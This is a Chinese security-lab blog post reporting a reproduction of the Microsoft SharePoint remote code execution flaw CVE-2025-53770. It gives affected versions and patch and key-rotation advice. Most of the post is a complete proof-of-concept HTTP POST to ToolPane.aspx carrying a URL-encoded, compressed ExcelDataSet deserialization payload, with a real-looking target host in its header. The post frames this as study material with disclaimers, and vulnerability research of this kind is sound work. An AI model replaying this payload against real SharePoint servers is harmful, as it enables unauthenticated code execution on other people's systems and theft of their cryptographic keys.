文章总结: 文档介绍了MicrosoftSharePointServer存在的远程代码执行漏洞CVE-2025-53770,该漏洞源于反序列化不受信任数据,攻击者可通过上传恶意aspx文件获取加密密钥并制作有效签名实现未经身份验证的远程代码执行。文章提供了影响版本信息、POC代码和nuclei工具测试方法,并建议用户安装相应补丁(KB5002754或KB5002768)、轮换ASP.NET机器密钥并重启IIS服务以修复漏洞。
综合评分: 89
文章分类: 漏洞分析,漏洞预警,渗透测试,WEB安全,应急响应
【成功复现】Microsoft SharePoint远程代码执行漏洞(CVE-2025-53770)
原创
弥天安全实验室
弥天安全实验室
2025年8月9日 20:04
北京
#
网安引领时代,弥天点亮未来
0x00写在前面
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
0x01漏洞介绍
Microsoft SharePoint Server是美国微软(Microsoft)公司的一款企业级协作与内容管理平台,旨在帮助组织高效地管理文档、数据和业务流程,同时促进团队协作。
Microsoft SharePoint Server存在安全漏洞,该漏洞源于反序列化不受信任数据,可能导致远程代码执行。攻击者通过上传恶意的aspx文件从SharePoint服务器中提取ValidationKey和DecryptionKey等加密密钥,然后使用这些泄露的密钥制作有效签名到__VIEWSTATE载荷,最终通过ASP.NET的ViewState反序列化机制实现未经身份验证的远程代码执行。
0x02影响版本
Microsoft SharePoint Server 2016
Microsoft SharePoint Server 2019 < KB5002754补丁
MicrosoftSharePoint Server Subscription Edition < KB5002768补丁
0x03漏洞复现
1.访问漏洞环境
2.对漏洞进行复现
POC
漏洞复现
POST /_layouts/15/ToolPane.aspx/?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1Host: www.joloo.cnUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/E7FBAFConnection: closeContent-Length: 7585Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedReferer: /_layouts/SignOut.aspx
MSOTlPn_Uri=https%3a//www.xxxxx.cn/_controltemplates/15/AclEditor.ascx&MSOTlPn_DWP=%3c%25%40%20Register%20Tagprefix%3d%22gizpnozlcjfutvbn%22%20Namespace%3d%22System.Web.UI%22%20Assembly%3d%22System.Web.Extensions%2c%20Version%3d4.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d31bf3856ad364e35%22%20%25%3e%0a%3c%25%40%20Register%20Tagprefix%3d%22sjqjboucouuj%22%20Namespace%3d%22Microsoft.PerformancePoint.Scorecards%22%20Assembly%3d%22Microsoft.PerformancePoint.Scorecards.Client%2c%20Version%3d16.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3d71e9bce111e9429c%22%20%25%3e%0a%20%20%3cgizpnozlcjfutvbn%3aUpdateProgress%3e%0a%20%20%20%20%3cProgressTemplate%3e%0a%20%20%20%20%20%20%3csjqjboucouuj%3aExcelDataSet%20CompressedDataTable%3d%22H4sIAAAAAAAA%2F9R6aW%2FbSJp%2F5v%2FfHWBndl%2FtFzD8drpjHqLbCpIGRPG2WBKPqiJr0MCQLEY8ihQjUhe%2FzX6%2B%2FRC9oCTbSmKnk8xML9aGeFY99%2FPjU8erP7x69erXX3%2F9dTgPf%2F%2F%2B%2F169egW8Q9ul1Wsl6qIfrlC6bvNV%2FW70mhv%2Bf7iabli3Wafv6nTTrSP2w9ViE7M8uU8P%2FqpM63fxTz9FUiLd8mNxlHJ3438diP%2FnBc3jwUu7gde%2FBRXzkiytoj8HFVPy9%2B%2F1dVT94Q%2FDuz%2F%2B%2F1evXv3Xn97u2zftscnVvmJ1%2B%2B76%2BnTxZt%2B%2Bu866rnlzc7Pb7V7vxNer9fJG4Dj%2BJrBnJ7IPbauWRl307nqzrs%2FU2h%2BrPFmv2tX77sdkVb3ZV%2BzHU6vrq5y%2Bu25XVTrctWl3%2FfN%2F%2FOnqk79BrJSlVVp3V3VUpR93uDpRemO2Z2XfXXfrTfr4HLbpdLNep3U3WyURS8%2Bvn%2BHzwCtZVQ1L9%2F6hSV9o9dgyW%2BVJelXl9TxJNuv23TV3fVVF%2B4e7TR2vNjVN6UvsXlYxS7MXhfw%2BgT%2Ft1aYfNmmdfG2X58VsdvWjpQf7DzK8uz6H4HTFWJp0%2BapuX%2Btpna7z5PUsb7u%2F8X%2F962WUeul6mydp%2B9qsu3RdR%2By1um%2BiwW54HTVNuv6b8NgBp%2FFraL6erVptta6irkvXP1w9vfueLOLE99L7n97zPJW4SIx%2B%2BeGRV17T1a49CTmPizTphsvFerXN6cB3sU7btO6iQUVtHVXpbrUuv0MEkY%2Ffi3fSbUTF21EqSr%2F88qjTRwb6B2DEL79cX3VHJ%2B3bN1F9GBx2%2FXEE33xtEN18WxQd2399rB6bn6PtS3l485iIL%2BX0b%2FP9Aq%2BTlkcc%2B%2FmP%2F%2FLq1av%2Fvn9L8%2Ffvl%2Bs3p1NUfRfwnfqcSPxWnwdGP275ZwHyAg9fssGAJ1dnuQfM9aOYPYHkerWbr2m6PgLYuVUWtdMsqpdp%2B%2B46r9t03X0Zx942u%2Frxc5H%2F9vfix7xuu6hO0qePDP2Kr8xvRc0n0DF%2FfwkVnyfx7yDx1dfkxoPY6ikIvyYH3y7Wq0GdlC7WqyZddwfuazPXTrtsRUFUpT8raZuu84jlffr25uL5N1FaRAP6dem6%2FZavyRl%2Bfg8X7Nv8zQPs0Tdtt87r5fXPNzv1wBeTycSZTCaLm5ubmzt58vi3mw5HDwEpEV0We7slqtAhEdg2LjhuVkw29nS0m01lheI9RwOLLbDEaOAeQrxrTU3mw2rfhFzHUuRuIwFtFtgUgaDyYQ8F2y97oMPdXCm1I3%2FTkaHIeqqjblaCbazvWSi6TSxI%2FaykLK7QIcL2BgrjA9VRCQXEhYoWY%2F5BPsmnhtXEVdKaOt%2BHwvgQ6yyfTWVMAquP8Hiz8J2TzMWkNVXAx4bLJxUcxxXiqWFl8XS3hAbKY50VnoAkpI%2FXBI%2FGYZGIoY8K4If7uW9zxJ%2BM5oinJ2MhJRbRhk4yJRb4XRhYLFnSR54yZBzBfD%2BZ2BN5mYPJoz0lJRb2LcGAG9olB8kgWGJJxYqj%2FoGcJRXrY0F6oltN9pjv%2FDQAHMHcBoruIcJSPZvKXSKAbTLYO%2F9n%2BYnRwFkeY2KyHA6lcnGtDkd5Yk8mk%2Bn%2FcR2PqswC4VK%2BkWKyR51UgveMCBpHEBh0yWKd3YbBMVbNWNiXJDAteYhpWVWfbBTqp7wKjeH4IZ%2FcwQr1sYgOoYDU6GyjMLCkaZ11sS71C89aUcPdzfO7bSKAFcF8lhykLsLgEItgS2pnEwrjbibSJq7IaNabO1sJt6mudfF0vEsq1BMscSfZRvkD3Xm9HJtVxlFjcjs7jPtQyFiMtX5W8U0oWttEGFd0KhWxwG2pwDakXm7tYrID%2BXgUYr41l80oxvtN0jeDjEVsmF1caR0JwC7EgM0fbOV3WSICFmOrTX3%2Bwn%2FmfarzbVzbt0nB5aGwP8ywlMUY9YmuFcRvnvxfoSrWUUH1wde%2FTS%2Fyv0zPg3c%2FhQHoCebz2CjHcQCKWLTaCJtP9qnssVmBNsn5TYh5lohyFgrw9gmf2OIcvwcSgGOezwWtTwTUhdVeWjzGv3m%2FWK6W5nRyl%2FSNnNRWlnryaF52LPW5nOgaF3rmMlUaPcSAi0VL8jHiIn1cLjyrnw88asKS2tm4tbWNoZUlAhSABrikYhtyMP8yzScD%2FaWp7EfzUjsQEXWDz5N%2BdH98fv4tDPv2IZcW5ZJLOCY7UDv%2BXKgtbEQlW2EFYtaHWQ8CtxqvQIlcj9sHSJTnIdwjF44km9NGsZLNXcT8VOdFDLMPXk3nrsbu49LaAEw%2FYAXYsQIY9bMyUm3BVvcfoK8BJGpNKKDK412P6O7cEywjNQB0cYYponlsNCOnQB9inqxIVYogWIogoLqP0IcQ8w2BiRj2CZ%2FWzYZ43ei%2BX4ppgVrgdSL1ZdnD7BZwd5zDuSNPAzOnQHOqaGtQjbagzjR6GGfUID3BGgd1q8IBOcSGusaaHJJSArbhCJTP3JAbSa7RuLQC%2B6jiOOB1QqQDHHktDxnVbd1VIMysaDq%2Bdf1MsRVt6xtsD71xmPg2b3NoQQ1zPw%2B0KQ5o7Sskov1k54pEpnjvAo7wHkyEhCHFZRoflnsvKpjvidYMK8mBIkKSaStAjIK4dyGts10sdDwMtMLneC%2FkMsXVmZ8yc%2Bd63QiqkgA5yXVFaiSlVkV4nAGuK2y%2FHEV4X%2Fj1ahtyXeOrmhf38tY2ACZowsVqpro%2BjcKK2Y6IvKRAC0%2BV5LC845ygCWIhu8eVO%2FN41w2xw8eC5bqGrEeQ28Y9mUdCcwAQTCO14Yb4wVVGbENbABFwRHX4SEGbedCsHZHlQEG7iCeeV%2FKSX7v3bsBWsSar0A8ljwc%2BNexRUvIFEEYjUiPgF8T1de2W8LQAWBUBj3gfhyPb0G6BsBN9jTUYkYNdjSQba0GCbQnn497ukTqHfElLyQMC3dqGKhCocYne8veH8S0Vm5ooqI2wW1K9XduiO6UI4bBsFJ9DI6zyclogNfYzz1fQNK6BR3SiwWkHbKHbzERwTxlY33N7HhqlMFc76PGWHVZSCYXR9p5DI09ALFVpE1WqFHG7nV1nFa2p7ArkfohHiseaX1A94uWtjVaCp9Mw9C0Vam7tBmhm9%2BVo1mvYrhoyD9iOBqYQC1aEFKBRRV3HkI9CQROQbn1wK8bbFZra1W4Xq9bIK%2B96UkpW4lsfIObRjGN2UlgYY3iA%2FWTrQhD6PirnGllBaBkeypQ5AgYOAPbqRvYEuo4Khw%2FLro18c5QwWbZry%2FINqsHAApTLZkS1AlewOlBbLTZoB3QixGpnOaUWQaFBfo98W7CUpLL2ca%2BhqNegq%2B6t%2BDC%2B9yBYxSzTCHa7iCEvKambYKkhGLg%2B7sJIDdcxhoILaZYowPK5sRNCaeupu7WL1YOvanskaJj6wHNKeourbhPxrp0IpUBEa0aq%2FQwji3kKHPkVzyJh3CED7WdC5oUia4hAbVuUiQNDMcQdmPuZ5QayR3xURToYUdElHs4EN2ACQG7mVI50L4Y87MOeViQCsKtIOS6JLgm0Xo18DXj3IjIRXu1BQNi9oHlulY1Cls1hb3kULiXgIwINFAI4Dil0SVzDte8TGBXuCvHJOikzzvfJIlWljKj8LTSYaxey4RpQAlyziTVaErQ6OCKzEqHzgYgWoIDiTOgkO4Dbuc8YNsDBLwhMGW2IwIcO3nG2aH2g%2BmofMboGhSO4sNv6GpgmCrtNFVYijd76ombPuPIQG1ofHjotybuaBKhMdWkP%2BUaCArGpgdSw7ErA5NWMb%2Fa%2ByMqkR6s0yAIbohYzZiRcV6R1pns9GcVF5oaVtY4LMpsdxjo0bIlUfBFrrk18S5iJ4DYNkEWxW1NRA4QNmNnMkL7knCLkQrjcO4w2qZHsPYEggK3GE%2Bhm%2BKZCXq6igt0iQ7ZsA%2FKpkWnEG%2FshhmKEWYnKu72vMmkmSLLTZ27EkxypywOpM4ZUyYLTDs0xCKGvRUDvDJu3JF8z13ZBYCyqPfGTnnLjNYZLCfLUgHC8BnVmgKARIpEhu9RKgJk%2Fh2AdVu48xiOe%2BvI%2BKcsRKe2dq7Nd2E8kWFnIRiyCFWsjBiS3ssS01hSHkxZAZx9clEmhL29hlQVRZQuRxjLMshCqywPQ9yDBFkA6c20hFEM%2Ba13fwqBqVsinjutbOeQaGOfd2uYtc46XAuSWW3C4283hGLgCWENerme9qzsVmoJKEh04lh2ojhfTcT9n5%2FrhokZYTMfP1g%2FH9qV2SCpNeqhlIr8BBPPbpGbDmIuFmBtqmBkJyrFZsU1iIG6oNQjWOrO44GEsb53AqinmWVy7%2FZnew%2B8Oim5GdVY81cVweVEjn%2BkPbdR8Uey2z7S%2FqId221Rp5KSifIzRhhr26Z2y2z4j%2F%2FndvpiXNIoC%2BRm96O3F8%2FxC9rtn%2BVzUXqay96mucREGHgnAlgZWQTz56Rqe6sEISzsauE88fkvHJ%2FrF%2FJN61Mfjkvij3WI6fund1%2Fj%2BU3s82OkxJkxjeTuMlReelVMc5sO9W2kF1ceHFPKM6tmWKFz%2BVP9KSlKhjOrIimvAhVgqiPctdezyFhlsRzwZpoHM%2FGHc4R%2FpT9PAZWZ%2B97F9jvTYhir2YVHY%2FFxx7mbi8tbDEmf35lfFy6PsZ5st1HEeVaig6uAbzUmqsRBhlyX5U21PdX5n5vIirBoWiu6Trj6Xpzw4jslC3mKJMOaTCjBTv4wvfmzmMiCBu4oFdz6MQRae5RGslR%2Fl04tySA99nTCwhnEQRwLrO%2FPN4klu%2FmUxHX8ew%2F7nvnmwq32ypxXXTm8XX2jXwxF4oe1iOn6wnxoGbgYNa0srNoyvNw%2FjJKhrh8E%2BVEeHi7h9qd%2BDv%2B98wfpAMODcYQyG5EMskobo6HARz1ki8HYsaOWFH48xt%2FCsn1KlOV6bhnnrPI4n2XN%2BO9H42AYv8p%2BV55zR5Cw5jqldltTfjylhjSqzGN3Nnom5j%2BJB2W2%2FU6a7GfdCHD7orOxf8scTvtaulOio%2F7ac0foY7rchdp%2Bzu0GCk7%2BSy3Hyd%2BTN7AGDvmCjB1t%2BDTaQih2Scyx9k77GyUbvPXP5EP8P%2BOcKiEOV1lIM84%2F9%2BqLtv5hDn84dXOZ10j%2Bb1y%2FHwW%2Fg0T8oX4tnvivLh34elnqqa5tQgGOz7p7LnSoKrJ5qRxs%2FF09WXJNtJKChdshJYP4T7Ly89WvUxtO75%2FL9MC%2BtJq7cJq6oHutanfQj3vbNu5lo3jpDPaezDeFIG2L6KdY%2F1Clzivft7Nt5j%2BalxMf6bvu70P0nYdFiOr7AR7c5ry9kSV3%2BRZ7AyWQyyZ%2Fm%2BFwW66gOA5dBAR0irLVR0GTHecgy28a6y5KlPfQxXR21BNOM6tCIz762J7Q7xY%2Bzn%2Bxsxda%2Baf54%2FUQTaXHtHlJv%2FPyc6JBbx3i0rLgi2xdlzf%2FO%2FsvSHJSdOuVwsqbHOW3n%2BOzv1s1JBjIqHeo6J3ua43UIFwZWTQLHo7p2IAPGDW3g01yrUrtZUlF2zttjrk6rc4yoUhZjCMhn%2FFR5slTliWPvvsnfefekHxxqREuSl%2B1kMlHMizUPnWKpCBXrf3FtimsveJ9xyfn91sWWu8lkIs8u5tZbUyMsqUETC6MxOPHa2NPd0hFRSw10ID6%2FIQHikkprZ1PZoXjoB2YkYDAWOhYXfA56mgFs86BQJbt3ma0spekyBEPwYO04vhnGlWefkRPWCuNDdPgHrBf59j6swn6uQCHETg8Kl9k91JUhD6byY24hYcDhsZgcJBAG1poGkw3WtS7Whrp%2ByKNwcVwrQ3KW1IBN3eOikDp1Bjp%2Fb46e8uhYEzh7%2BTGP4DEPLEfYD7l1yhEEGiJI2dH2TuNHmG7C4Oj3w7Tkh34sYUNOQccV0IYEVhNyF%2BOy3ZA%2FqjyZ2KbyFPvHmgbznKXsjuuC4IQZo%2BGka8cb61HHB4w3tZMt7rXP8qWRs09x%2BYzvU3moJXriZZ%2BtFd47R3C6nzirI1Yd7Z2Fw8lwhHGXDFjilPbp%2BbEteKT%2FMDeyC8mRCHcaO5rqw3ogXH3W9rBbfv6s1PWBtPKk77mGWj7K8Izss4tY%2BkyfU6yYJ7kH3JH3H62ZP62nLm3Uxc%2FJ%2BXvkZIA467Q4vDqfy6Pxp%2B7xdD%2FdvXv39ua8%2FeGrd1t951aLt6dNL%2BZ548TFVojLnTHXP7%2B9%2BbjhV%2B3o%2BuYtKG9vvnGDzhe3fjW7%2BsVNX1maPb%2FV6%2BXdUm9vPtnZ9fOf%2FycAAP%2F%2Fhtm1wrkrAAA%3D%22%20DataTable-CaseSensitive%3d%22true%22%20runat%3d%22server%22/%3e%0a%20%20%20%20%3c/ProgressTemplate%3e%0a%20%20%3c/gizpnozlcjfutvbn%3aUpdateProgress%3e%0a
通过执行回显判断漏洞存在
3.nuclei工具测试
0x04修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
**1.为SharePoint Subscription Edition安装KB5002768更新,为SharePoint 2019安装KB5002754更新
2.通过PowerShell的Update-SPMachineKey命令或通过Central Administration的Machine Key Rotation定时作业轮换SharePoint服务器的ASP.NET机器密钥
3.重启IIS服务:完成机器密钥轮换后,在所有SharePoint服务器上使用iisreset.exe重启IIS服务以使更改生效**
建议尽快升级修复漏洞,再次声明本文仅供学习使用,非法他用责任自负!
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770
弥天简介
学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。
口号 网安引领时代,弥天点亮未来
知识分享完了
喜欢别忘了关注我们哦~
学海浩茫,
予以风动,
必降弥天之润!
弥 天
安全实验室
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:弥天安全实验室 弥天安全实验室《【成功复现】Microsoft SharePoint远程代码执行漏洞(CVE-2025-53770)》